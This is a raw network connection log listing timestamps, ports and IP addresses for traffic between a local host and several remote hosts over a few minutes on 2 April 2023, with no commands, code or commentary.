Apr 2, 2023 09:49:22.821305990 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821341991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821348906 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821388960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821398020 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821435928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821453094 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821496964 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.722754002 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.751435995 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.880167007 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.908881903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.908921003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.909025908 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.937550068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.937607050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.937627077 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.937788010 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.966279030 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.966325045 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.966353893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.966365099 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.966383934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.966406107 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.994899988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.994936943 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.994956970 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.994976044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.994997025 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:24.995044947 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:24.995085955 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.023582935 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023647070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023677111 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023705959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023734093 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023746014 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.023761034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023771048 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.023788929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023797989 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.023818016 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.023859024 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.053559065 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053594112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053611994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053633928 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053653955 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053661108 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.053673029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053695917 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053709984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.053715944 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053725958 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.053735971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053755999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053767920 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.053776026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053797007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.053800106 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.053838015 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082180977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082216978 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082237959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082257986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082278013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082279921 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082298040 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082319021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082326889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082338095 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082341909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082357883 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082374096 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082377911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082397938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082415104 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082416058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082436085 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082456112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082470894 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082474947 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082494974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082495928 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082514048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082534075 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.082537889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.082581043 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111040115 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111087084 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111119986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111150980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111159086 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111181974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111212015 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111212969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111243963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111253977 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111277103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111310005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111311913 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111341953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111371994 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111377001 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111403942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111433983 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111438990 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111464977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111495972 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111500978 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111526966 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111557007 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111562014 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111588001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111618042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111620903 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111649990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111680031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111707926 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111713886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111747026 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111751080 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111778021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111809015 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111816883 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.111840963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111872911 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.111876011 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140388012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140436888 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140455961 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140470028 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140511990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140535116 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140556097 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140573025 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140577078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140599012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140619993 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140629053 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140640974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140649080 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140662909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140682936 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140705109 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140726089 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140744925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140744925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140747070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140760899 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140824080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140845060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140858889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140865088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140883923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140899897 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140904903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140923977 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140939951 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140944004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140964031 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.140979052 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.140984058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.141005039 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.141021967 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:25.141027927 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:25.141066074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:28.362705946 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:29.147305965 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:29.176023960 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:29.258761883 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:29.258821964 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:29.258910894 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:29.259284019 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:29.259309053 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:29.912786961 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:29.915174007 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:29.919177055 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:29.919244051 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:29.919768095 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:29.935262918 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:29.935308933 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:39.944533110 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:39.944770098 CEST	443	49700	190.120.229.196	192.168.2.4
Apr 2, 2023 09:49:39.944880009 CEST	49700	443	192.168.2.4	190.120.229.196
Apr 2, 2023 09:49:39.948688984 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:39.948746920 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:39.948868036 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:39.949131966 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:39.949157000 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:40.134982109 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:40.135122061 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:40.137512922 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:40.137540102 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:40.137948990 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:40.141546965 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:40.141588926 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:50.148536921 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:50.148817062 CEST	443	49701	91.208.197.31	192.168.2.4
Apr 2, 2023 09:49:50.148973942 CEST	49701	443	192.168.2.4	91.208.197.31
Apr 2, 2023 09:49:50.161432981 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:49:50.161508083 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:49:50.161612034 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:49:50.169759989 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:49:50.169806957 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:49:50.316380978 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:49:50.316613913 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:49:50.319418907 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:49:50.319438934 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:49:50.319765091 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:49:50.325335026 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:49:50.325382948 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:50:00.336668015 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:50:00.336836100 CEST	443	49702	217.170.197.121	192.168.2.4
Apr 2, 2023 09:50:00.336965084 CEST	49702	443	192.168.2.4	217.170.197.121
Apr 2, 2023 09:50:00.350733042 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:00.350815058 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:00.351202011 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:00.351608038 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:00.351644993 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:00.503458977 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:00.503675938 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:00.506257057 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:00.506294966 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:00.506642103 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:00.511715889 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:00.511754036 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:10.674267054 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:10.674438000 CEST	443	49703	185.82.126.83	192.168.2.4
Apr 2, 2023 09:50:10.674510956 CEST	49703	443	192.168.2.4	185.82.126.83
Apr 2, 2023 09:50:10.736332893 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:11.004534960 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:11.004766941 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:11.006169081 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:11.274054050 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:11.274672985 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:11.321638107 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:11.999473095 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:12.267743111 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:12.274296045 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:12.543230057 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:12.543278933 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:12.543374062 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:12.553875923 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:12.659580946 CEST	49705	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:12.687130928 CEST	9030	49705	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:12.687241077 CEST	49705	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:12.687536001 CEST	49705	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:12.715934038 CEST	9030	49705	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:12.762125969 CEST	9030	49705	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:12.762150049 CEST	9030	49705	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:12.762191057 CEST	9030	49705	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:12.762259007 CEST	49705	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:12.762312889 CEST	49705	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:12.779995918 CEST	49705	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:12.807662964 CEST	9030	49705	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:12.808432102 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:12.865427971 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:13.077152014 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:13.077853918 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:13.118880987 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.146806955 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.147018909 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.150482893 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.178109884 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.179806948 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.179847956 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.179898024 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.179929972 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.179933071 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.179986954 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.179987907 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.180021048 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.180052996 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.180100918 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.180124044 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.180135012 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.180175066 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.180175066 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.181111097 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:13.210707903 CEST	49706	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:13.228671074 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:13.238234043 CEST	9030	49706	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:13.541515112 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:14.325905085 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:14.371090889 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:14.638992071 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:14.808653116 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:14.853162050 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:14.923190117 CEST	49707	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:14.950954914 CEST	9030	49707	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:14.951236010 CEST	49707	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:14.951714993 CEST	49707	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:14.979419947 CEST	9030	49707	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:14.992108107 CEST	9030	49707	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:14.992136002 CEST	9030	49707	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:14.992187023 CEST	9030	49707	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:14.992314100 CEST	49707	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:14.992350101 CEST	49707	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.011493921 CEST	49707	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.031280994 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:15.040697098 CEST	9030	49707	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.299685001 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:15.301588058 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:15.331387043 CEST	49708	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.353213072 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:15.360068083 CEST	9030	49708	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.360261917 CEST	49708	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.360518932 CEST	49708	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.387937069 CEST	9030	49708	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.388995886 CEST	9030	49708	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.389031887 CEST	9030	49708	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.389075041 CEST	9030	49708	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.389214039 CEST	49708	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.406465054 CEST	49708	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:15.430033922 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:15.434099913 CEST	9030	49708	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:15.740988970 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:15.900562048 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:15.926810026 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:16.195113897 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:16.403506041 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:16.424520016 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:16.692419052 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:16.903214931 CEST	5443	49704	58.185.69.245	192.168.2.4
Apr 2, 2023 09:50:16.914820910 CEST	49704	5443	192.168.2.4	58.185.69.245
Apr 2, 2023 09:50:16.928992033 CEST	49709	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:16.956556082 CEST	9030	49709	178.79.182.63	192.168.2.4
Apr 2, 2023 09:50:16.956718922 CEST	49709	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:16.956973076 CEST	49709	9030	192.168.2.4	178.79.182.63
Apr 2, 2023 09:50:16.984244108 CEST	9030	49709	178.79.182.63	192.168.2.4
